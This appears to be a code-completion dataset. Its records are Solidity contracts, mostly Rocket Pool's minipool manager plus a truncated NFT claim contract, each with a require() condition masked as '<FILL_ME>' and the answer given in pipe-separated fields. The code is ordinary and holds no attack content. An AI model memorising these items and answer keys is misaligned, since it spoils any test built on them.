function getMinipoolExists(address _minipoolAddress) override public view returns (bool) {
}
// Check whether a minipool previously existed at the given address
function getMinipoolDestroyed(address _minipoolAddress) override external view returns (bool) {
}
// Get a minipool's validator pubkey
function getMinipoolPubkey(address _minipoolAddress) override public view returns (bytes memory) {
}
// Get the withdrawal credentials for the minipool contract
function getMinipoolWithdrawalCredentials(address _minipoolAddress) override public pure returns (bytes memory) {
}
// Increments _nodeAddress' number of minipools in staking status
function incrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Decrements _nodeAddress' number of minipools in staking status
function decrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Calls distribute on the given node's distributor if it has a balance and has been initialised
function _tryDistribute(address _nodeAddress) internal {
// Get contracts
RocketNodeDistributorFactoryInterface rocketNodeDistributorFactory = RocketNodeDistributorFactoryInterface(getContractAddress("rocketNodeDistributorFactory"));
address distributorAddress = rocketNodeDistributorFactory.getProxyAddress(_nodeAddress);
// If there are funds to distribute than call distribute
if (distributorAddress.balance > 0) {
// Get contracts
RocketNodeManagerInterface rocketNodeManager = RocketNodeManagerInterface(getContractAddress("rocketNodeManager"));
// Ensure distributor has been initialised
require(<FILL_ME>)
RocketNodeDistributorInterface distributor = RocketNodeDistributorInterface(distributorAddress);
distributor.distribute();
}
}
// Increments _nodeAddress' number of minipools that have been finalised
function incrementNodeFinalisedMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Create a minipool
// Only accepts calls from the RocketNodeDeposit contract
function createMinipool(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyLatestContract("rocketNodeDeposit", msg.sender) returns (RocketMinipoolInterface) {
}
// Destroy a minipool
// Only accepts calls from registered minipools
function destroyMinipool() override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Updates the stored total effective rate based on a node's changing minipool count
function updateTotalEffectiveRPLStake(address _nodeAddress, uint256 _oldCount, uint256 _newCount) private {
}
// Set a minipool's validator pubkey
// Only accepts calls from registered minipools
function setMinipoolPubkey(bytes calldata _pubkey) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Performs a CREATE2 deployment of a minipool contract with given salt
function deployContract(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) private returns (address) {
}
// Retrieves all on-chain information about a given minipool in a single convenience view function
function getMinipoolDetails(address _minipoolAddress) override external view returns (MinipoolDetails memory) {
}
}
| rocketNodeManager.getFeeDistributorInitialised(_nodeAddress),"Distributor not initialised" | 239,906 | rocketNodeManager.getFeeDistributorInitialised(_nodeAddress) |
"Minipool count after deposit exceeds limit based on node RPL stake" | /**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM 2.0 |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind ETH2 Proof of Stake protocol, designed to be community owned,
* decentralised, trustless and compatible with staking in Ethereum 2.0.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
pragma abicoder v2;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RocketMinipool.sol";
import "../RocketBase.sol";
import "../../types/MinipoolStatus.sol";
import "../../types/MinipoolDeposit.sol";
import "../../types/MinipoolDetails.sol";
import "../../interface/dao/node/RocketDAONodeTrustedInterface.sol";
import "../../interface/minipool/RocketMinipoolInterface.sol";
import "../../interface/minipool/RocketMinipoolManagerInterface.sol";
import "../../interface/minipool/RocketMinipoolQueueInterface.sol";
import "../../interface/node/RocketNodeStakingInterface.sol";
import "../../interface/util/AddressSetStorageInterface.sol";
import "../../interface/node/RocketNodeManagerInterface.sol";
import "../../interface/network/RocketNetworkPricesInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsMinipoolInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/minipool/RocketMinipoolFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorInterface.sol";
import "../../interface/network/RocketNetworkPenaltiesInterface.sol";
import "../../interface/minipool/RocketMinipoolPenaltyInterface.sol";
// Minipool creation, removal and management
contract RocketMinipoolManager is RocketBase, RocketMinipoolManagerInterface {
// Libs
using SafeMath for uint;
// Events
event MinipoolCreated(address indexed minipool, address indexed node, uint256 time);
event MinipoolDestroyed(address indexed minipool, address indexed node, uint256 time);
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
}
// Get the number of minipools in the network
function getMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in the network in the Staking state
function getStakingMinipoolCount() override external view returns (uint256) {
}
// Get the number of finalised minipools in the network
function getFinalisedMinipoolCount() override external view returns (uint256) {
}
// Get the number of active minipools in the network
function getActiveMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in each status.
// Returns the counts for Initialised, Prelaunch, Staking, Withdrawable, and Dissolved in that order.
function getMinipoolCountPerStatus(uint256 _offset, uint256 _limit) override external view
returns (uint256 initialisedCount, uint256 prelaunchCount, uint256 stakingCount, uint256 withdrawableCount, uint256 dissolvedCount) {
}
// Returns an array of all minipools in the prelaunch state
function getPrelaunchMinipools(uint256 offset, uint256 limit) override external view
returns (address[] memory) {
}
// Get a network minipool address by index
function getMinipoolAt(uint256 _index) override external view returns (address) {
}
// Get the number of minipools owned by a node
function getNodeMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are not finalised
function getNodeActiveMinipoolCount(address _nodeAddress) override public view returns (uint256) {
}
// Get the number of minipools owned by a node that are finalised
function getNodeFinalisedMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are in staking status
function getNodeStakingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a node minipool address by index
function getNodeMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get the number of validating minipools owned by a node
function getNodeValidatingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a validating node minipool address by index
function getNodeValidatingMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get a minipool address by validator pubkey
function getMinipoolByPubkey(bytes memory _pubkey) override public view returns (address) {
}
// Check whether a minipool exists
function getMinipoolExists(address _minipoolAddress) override public view returns (bool) {
}
// Check whether a minipool previously existed at the given address
function getMinipoolDestroyed(address _minipoolAddress) override external view returns (bool) {
}
// Get a minipool's validator pubkey
function getMinipoolPubkey(address _minipoolAddress) override public view returns (bytes memory) {
}
// Get the withdrawal credentials for the minipool contract
function getMinipoolWithdrawalCredentials(address _minipoolAddress) override public pure returns (bytes memory) {
}
// Increments _nodeAddress' number of minipools in staking status
function incrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Decrements _nodeAddress' number of minipools in staking status
function decrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Calls distribute on the given node's distributor if it has a balance and has been initialised
function _tryDistribute(address _nodeAddress) internal {
}
// Increments _nodeAddress' number of minipools that have been finalised
function incrementNodeFinalisedMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Create a minipool
// Only accepts calls from the RocketNodeDeposit contract
function createMinipool(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyLatestContract("rocketNodeDeposit", msg.sender) returns (RocketMinipoolInterface) {
// Load contracts
RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress("rocketNodeStaking"));
AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress("addressSetStorage"));
// Check node minipool limit based on RPL stake
require(<FILL_ME>)
{ // Local scope to prevent stack too deep error
RocketDAOProtocolSettingsMinipoolInterface rocketDAOProtocolSettingsMinipool = RocketDAOProtocolSettingsMinipoolInterface(getContractAddress("rocketDAOProtocolSettingsMinipool"));
// Check global minipool limit
uint256 totalMinipoolCount = getActiveMinipoolCount();
require(totalMinipoolCount.add(1) <= rocketDAOProtocolSettingsMinipool.getMaximumCount(), "Global minipool limit reached");
}
// Create minipool contract
address contractAddress = deployContract(_nodeAddress, _depositType, _salt);
// Initialize minipool data
setBool(keccak256(abi.encodePacked("minipool.exists", contractAddress)), true);
// Add minipool to indexes
addressSetStorage.addItem(keccak256(abi.encodePacked("minipools.index")), contractAddress);
addressSetStorage.addItem(keccak256(abi.encodePacked("node.minipools.index", _nodeAddress)), contractAddress);
// Update unbonded validator count if minipool is unbonded
if (_depositType == MinipoolDeposit.Empty) {
RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress("rocketDAONodeTrusted"));
rocketDAONodeTrusted.incrementMemberUnbondedValidatorCount(_nodeAddress);
}
// Emit minipool created event
emit MinipoolCreated(contractAddress, _nodeAddress, block.timestamp);
// Add minipool to queue
RocketMinipoolQueueInterface(getContractAddress("rocketMinipoolQueue")).enqueueMinipool(_depositType, contractAddress);
// Return created minipool address
return RocketMinipoolInterface(contractAddress);
}
// Destroy a minipool
// Only accepts calls from registered minipools
function destroyMinipool() override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Updates the stored total effective rate based on a node's changing minipool count
function updateTotalEffectiveRPLStake(address _nodeAddress, uint256 _oldCount, uint256 _newCount) private {
}
// Set a minipool's validator pubkey
// Only accepts calls from registered minipools
function setMinipoolPubkey(bytes calldata _pubkey) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Performs a CREATE2 deployment of a minipool contract with given salt
function deployContract(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) private returns (address) {
}
// Retrieves all on-chain information about a given minipool in a single convenience view function
function getMinipoolDetails(address _minipoolAddress) override external view returns (MinipoolDetails memory) {
}
}
| getNodeActiveMinipoolCount(_nodeAddress)<rocketNodeStaking.getNodeMinipoolLimit(_nodeAddress),"Minipool count after deposit exceeds limit based on node RPL stake" | 239,906 | getNodeActiveMinipoolCount(_nodeAddress)<rocketNodeStaking.getNodeMinipoolLimit(_nodeAddress) |
"Global minipool limit reached" | /**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM 2.0 |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind ETH2 Proof of Stake protocol, designed to be community owned,
* decentralised, trustless and compatible with staking in Ethereum 2.0.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
pragma abicoder v2;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RocketMinipool.sol";
import "../RocketBase.sol";
import "../../types/MinipoolStatus.sol";
import "../../types/MinipoolDeposit.sol";
import "../../types/MinipoolDetails.sol";
import "../../interface/dao/node/RocketDAONodeTrustedInterface.sol";
import "../../interface/minipool/RocketMinipoolInterface.sol";
import "../../interface/minipool/RocketMinipoolManagerInterface.sol";
import "../../interface/minipool/RocketMinipoolQueueInterface.sol";
import "../../interface/node/RocketNodeStakingInterface.sol";
import "../../interface/util/AddressSetStorageInterface.sol";
import "../../interface/node/RocketNodeManagerInterface.sol";
import "../../interface/network/RocketNetworkPricesInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsMinipoolInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/minipool/RocketMinipoolFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorInterface.sol";
import "../../interface/network/RocketNetworkPenaltiesInterface.sol";
import "../../interface/minipool/RocketMinipoolPenaltyInterface.sol";
// Minipool creation, removal and management
contract RocketMinipoolManager is RocketBase, RocketMinipoolManagerInterface {
// Libs
using SafeMath for uint;
// Events
event MinipoolCreated(address indexed minipool, address indexed node, uint256 time);
event MinipoolDestroyed(address indexed minipool, address indexed node, uint256 time);
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
}
// Get the number of minipools in the network
function getMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in the network in the Staking state
function getStakingMinipoolCount() override external view returns (uint256) {
}
// Get the number of finalised minipools in the network
function getFinalisedMinipoolCount() override external view returns (uint256) {
}
// Get the number of active minipools in the network
function getActiveMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in each status.
// Returns the counts for Initialised, Prelaunch, Staking, Withdrawable, and Dissolved in that order.
function getMinipoolCountPerStatus(uint256 _offset, uint256 _limit) override external view
returns (uint256 initialisedCount, uint256 prelaunchCount, uint256 stakingCount, uint256 withdrawableCount, uint256 dissolvedCount) {
}
// Returns an array of all minipools in the prelaunch state
function getPrelaunchMinipools(uint256 offset, uint256 limit) override external view
returns (address[] memory) {
}
// Get a network minipool address by index
function getMinipoolAt(uint256 _index) override external view returns (address) {
}
// Get the number of minipools owned by a node
function getNodeMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are not finalised
function getNodeActiveMinipoolCount(address _nodeAddress) override public view returns (uint256) {
}
// Get the number of minipools owned by a node that are finalised
function getNodeFinalisedMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are in staking status
function getNodeStakingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a node minipool address by index
function getNodeMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get the number of validating minipools owned by a node
function getNodeValidatingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a validating node minipool address by index
function getNodeValidatingMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get a minipool address by validator pubkey
function getMinipoolByPubkey(bytes memory _pubkey) override public view returns (address) {
}
// Check whether a minipool exists
function getMinipoolExists(address _minipoolAddress) override public view returns (bool) {
}
// Check whether a minipool previously existed at the given address
function getMinipoolDestroyed(address _minipoolAddress) override external view returns (bool) {
}
// Get a minipool's validator pubkey
function getMinipoolPubkey(address _minipoolAddress) override public view returns (bytes memory) {
}
// Get the withdrawal credentials for the minipool contract
function getMinipoolWithdrawalCredentials(address _minipoolAddress) override public pure returns (bytes memory) {
}
// Increments _nodeAddress' number of minipools in staking status
function incrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Decrements _nodeAddress' number of minipools in staking status
function decrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Calls distribute on the given node's distributor if it has a balance and has been initialised
function _tryDistribute(address _nodeAddress) internal {
}
// Increments _nodeAddress' number of minipools that have been finalised
function incrementNodeFinalisedMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Create a minipool
// Only accepts calls from the RocketNodeDeposit contract
function createMinipool(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyLatestContract("rocketNodeDeposit", msg.sender) returns (RocketMinipoolInterface) {
// Load contracts
RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress("rocketNodeStaking"));
AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress("addressSetStorage"));
// Check node minipool limit based on RPL stake
require(
getNodeActiveMinipoolCount(_nodeAddress) < rocketNodeStaking.getNodeMinipoolLimit(_nodeAddress),
"Minipool count after deposit exceeds limit based on node RPL stake"
);
{ // Local scope to prevent stack too deep error
RocketDAOProtocolSettingsMinipoolInterface rocketDAOProtocolSettingsMinipool = RocketDAOProtocolSettingsMinipoolInterface(getContractAddress("rocketDAOProtocolSettingsMinipool"));
// Check global minipool limit
uint256 totalMinipoolCount = getActiveMinipoolCount();
require(<FILL_ME>)
}
// Create minipool contract
address contractAddress = deployContract(_nodeAddress, _depositType, _salt);
// Initialize minipool data
setBool(keccak256(abi.encodePacked("minipool.exists", contractAddress)), true);
// Add minipool to indexes
addressSetStorage.addItem(keccak256(abi.encodePacked("minipools.index")), contractAddress);
addressSetStorage.addItem(keccak256(abi.encodePacked("node.minipools.index", _nodeAddress)), contractAddress);
// Update unbonded validator count if minipool is unbonded
if (_depositType == MinipoolDeposit.Empty) {
RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress("rocketDAONodeTrusted"));
rocketDAONodeTrusted.incrementMemberUnbondedValidatorCount(_nodeAddress);
}
// Emit minipool created event
emit MinipoolCreated(contractAddress, _nodeAddress, block.timestamp);
// Add minipool to queue
RocketMinipoolQueueInterface(getContractAddress("rocketMinipoolQueue")).enqueueMinipool(_depositType, contractAddress);
// Return created minipool address
return RocketMinipoolInterface(contractAddress);
}
// Destroy a minipool
// Only accepts calls from registered minipools
function destroyMinipool() override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Updates the stored total effective rate based on a node's changing minipool count
function updateTotalEffectiveRPLStake(address _nodeAddress, uint256 _oldCount, uint256 _newCount) private {
}
// Set a minipool's validator pubkey
// Only accepts calls from registered minipools
function setMinipoolPubkey(bytes calldata _pubkey) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Performs a CREATE2 deployment of a minipool contract with given salt
function deployContract(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) private returns (address) {
}
// Retrieves all on-chain information about a given minipool in a single convenience view function
function getMinipoolDetails(address _minipoolAddress) override external view returns (MinipoolDetails memory) {
}
}
| totalMinipoolCount.add(1)<=rocketDAOProtocolSettingsMinipool.getMaximumCount(),"Global minipool limit reached" | 239,906 | totalMinipoolCount.add(1)<=rocketDAOProtocolSettingsMinipool.getMaximumCount() |
"Network is not in consensus" | /**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM 2.0 |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind ETH2 Proof of Stake protocol, designed to be community owned,
* decentralised, trustless and compatible with staking in Ethereum 2.0.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
pragma abicoder v2;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RocketMinipool.sol";
import "../RocketBase.sol";
import "../../types/MinipoolStatus.sol";
import "../../types/MinipoolDeposit.sol";
import "../../types/MinipoolDetails.sol";
import "../../interface/dao/node/RocketDAONodeTrustedInterface.sol";
import "../../interface/minipool/RocketMinipoolInterface.sol";
import "../../interface/minipool/RocketMinipoolManagerInterface.sol";
import "../../interface/minipool/RocketMinipoolQueueInterface.sol";
import "../../interface/node/RocketNodeStakingInterface.sol";
import "../../interface/util/AddressSetStorageInterface.sol";
import "../../interface/node/RocketNodeManagerInterface.sol";
import "../../interface/network/RocketNetworkPricesInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsMinipoolInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol";
import "../../interface/minipool/RocketMinipoolFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorFactoryInterface.sol";
import "../../interface/node/RocketNodeDistributorInterface.sol";
import "../../interface/network/RocketNetworkPenaltiesInterface.sol";
import "../../interface/minipool/RocketMinipoolPenaltyInterface.sol";
// Minipool creation, removal and management
contract RocketMinipoolManager is RocketBase, RocketMinipoolManagerInterface {
// Libs
using SafeMath for uint;
// Events
event MinipoolCreated(address indexed minipool, address indexed node, uint256 time);
event MinipoolDestroyed(address indexed minipool, address indexed node, uint256 time);
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
}
// Get the number of minipools in the network
function getMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in the network in the Staking state
function getStakingMinipoolCount() override external view returns (uint256) {
}
// Get the number of finalised minipools in the network
function getFinalisedMinipoolCount() override external view returns (uint256) {
}
// Get the number of active minipools in the network
function getActiveMinipoolCount() override public view returns (uint256) {
}
// Get the number of minipools in each status.
// Returns the counts for Initialised, Prelaunch, Staking, Withdrawable, and Dissolved in that order.
function getMinipoolCountPerStatus(uint256 _offset, uint256 _limit) override external view
returns (uint256 initialisedCount, uint256 prelaunchCount, uint256 stakingCount, uint256 withdrawableCount, uint256 dissolvedCount) {
}
// Returns an array of all minipools in the prelaunch state
function getPrelaunchMinipools(uint256 offset, uint256 limit) override external view
returns (address[] memory) {
}
// Get a network minipool address by index
function getMinipoolAt(uint256 _index) override external view returns (address) {
}
// Get the number of minipools owned by a node
function getNodeMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are not finalised
function getNodeActiveMinipoolCount(address _nodeAddress) override public view returns (uint256) {
}
// Get the number of minipools owned by a node that are finalised
function getNodeFinalisedMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get the number of minipools owned by a node that are in staking status
function getNodeStakingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a node minipool address by index
function getNodeMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get the number of validating minipools owned by a node
function getNodeValidatingMinipoolCount(address _nodeAddress) override external view returns (uint256) {
}
// Get a validating node minipool address by index
function getNodeValidatingMinipoolAt(address _nodeAddress, uint256 _index) override external view returns (address) {
}
// Get a minipool address by validator pubkey
function getMinipoolByPubkey(bytes memory _pubkey) override public view returns (address) {
}
// Check whether a minipool exists
function getMinipoolExists(address _minipoolAddress) override public view returns (bool) {
}
// Check whether a minipool previously existed at the given address
function getMinipoolDestroyed(address _minipoolAddress) override external view returns (bool) {
}
// Get a minipool's validator pubkey
function getMinipoolPubkey(address _minipoolAddress) override public view returns (bytes memory) {
}
// Get the withdrawal credentials for the minipool contract
function getMinipoolWithdrawalCredentials(address _minipoolAddress) override public pure returns (bytes memory) {
}
// Increments _nodeAddress' number of minipools in staking status
function incrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Decrements _nodeAddress' number of minipools in staking status
function decrementNodeStakingMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Calls distribute on the given node's distributor if it has a balance and has been initialised
function _tryDistribute(address _nodeAddress) internal {
}
// Increments _nodeAddress' number of minipools that have been finalised
function incrementNodeFinalisedMinipoolCount(address _nodeAddress) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Create a minipool
// Only accepts calls from the RocketNodeDeposit contract
function createMinipool(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyLatestContract("rocketNodeDeposit", msg.sender) returns (RocketMinipoolInterface) {
}
// Destroy a minipool
// Only accepts calls from registered minipools
function destroyMinipool() override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Updates the stored total effective rate based on a node's changing minipool count
function updateTotalEffectiveRPLStake(address _nodeAddress, uint256 _oldCount, uint256 _newCount) private {
// Load contracts
RocketNetworkPricesInterface rocketNetworkPrices = RocketNetworkPricesInterface(getContractAddress("rocketNetworkPrices"));
RocketDAOProtocolSettingsMinipoolInterface rocketDAOProtocolSettingsMinipool = RocketDAOProtocolSettingsMinipoolInterface(getContractAddress("rocketDAOProtocolSettingsMinipool"));
RocketDAOProtocolSettingsNodeInterface rocketDAOProtocolSettingsNode = RocketDAOProtocolSettingsNodeInterface(getContractAddress("rocketDAOProtocolSettingsNode"));
RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress("rocketNodeStaking"));
// Require price consensus
require(<FILL_ME>)
// Get node's RPL stake
uint256 rplStake = rocketNodeStaking.getNodeRPLStake(_nodeAddress);
// Get the node's maximum possible stake
uint256 maxRplStakePerMinipool = rocketDAOProtocolSettingsMinipool.getHalfDepositUserAmount()
.mul(rocketDAOProtocolSettingsNode.getMaximumPerMinipoolStake());
uint256 oldMaxRplStake = maxRplStakePerMinipool
.mul(_oldCount)
.div(rocketNetworkPrices.getRPLPrice());
uint256 newMaxRplStake = maxRplStakePerMinipool
.mul(_newCount)
.div(rocketNetworkPrices.getRPLPrice());
// Check if we have to decrease total
if (_oldCount > _newCount) {
if (rplStake <= newMaxRplStake) {
return;
}
uint256 decrease = oldMaxRplStake.sub(newMaxRplStake);
uint256 delta = rplStake.sub(newMaxRplStake);
if (delta > decrease) { delta = decrease; }
rocketNetworkPrices.decreaseEffectiveRPLStake(delta);
return;
}
// Check if we have to increase total
if (_newCount > _oldCount) {
if (rplStake <= oldMaxRplStake) {
return;
}
uint256 increase = newMaxRplStake.sub(oldMaxRplStake);
uint256 delta = rplStake.sub(oldMaxRplStake);
if (delta > increase) { delta = increase; }
rocketNetworkPrices.increaseEffectiveRPLStake(delta);
return;
}
// _oldCount == _newCount (do nothing but shouldn't happen)
}
// Set a minipool's validator pubkey
// Only accepts calls from registered minipools
function setMinipoolPubkey(bytes calldata _pubkey) override external onlyLatestContract("rocketMinipoolManager", address(this)) onlyRegisteredMinipool(msg.sender) {
}
// Performs a CREATE2 deployment of a minipool contract with given salt
function deployContract(address _nodeAddress, MinipoolDeposit _depositType, uint256 _salt) private returns (address) {
}
// Retrieves all on-chain information about a given minipool in a single convenience view function
function getMinipoolDetails(address _minipoolAddress) override external view returns (MinipoolDetails memory) {
}
}
| rocketNetworkPrices.inConsensus(),"Network is not in consensus" | 239,906 | rocketNetworkPrices.inConsensus() |
"You do not own this Candy Hunter" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface WarmInterface {
function ownerOf(address contractAddress, uint256 tokenId) external view returns (address);
}
contract CHGlompers is DefaultOperatorFilterer, ERC721A, ERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
address constant WarmAddress = 0xC3AA9bc72Bd623168860a1e5c6a4530d3D80456c;
address constant CandyHuntersAddress = 0x89c9c2e4eBEfF6903223B062458e11E56636f838;
WarmInterface warmInstance = WarmInterface(WarmAddress);
mapping(uint256 => bool) public tokenClaimed;
bool public mintActive = true;
string private baseURI = "https://candyhunters-nft.web.app/api/token/";
constructor() ERC721A("Glompers of Sweetopia", "GLOMPERS") {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function flipMintActive() public onlyOwner {
}
function claim(uint256 tokenId) public nonReentrant {
require(mintActive, "Mint is not active");
require(<FILL_ME>)
require(tokenClaimed[tokenId] == false, "You have already claimed this Glomper");
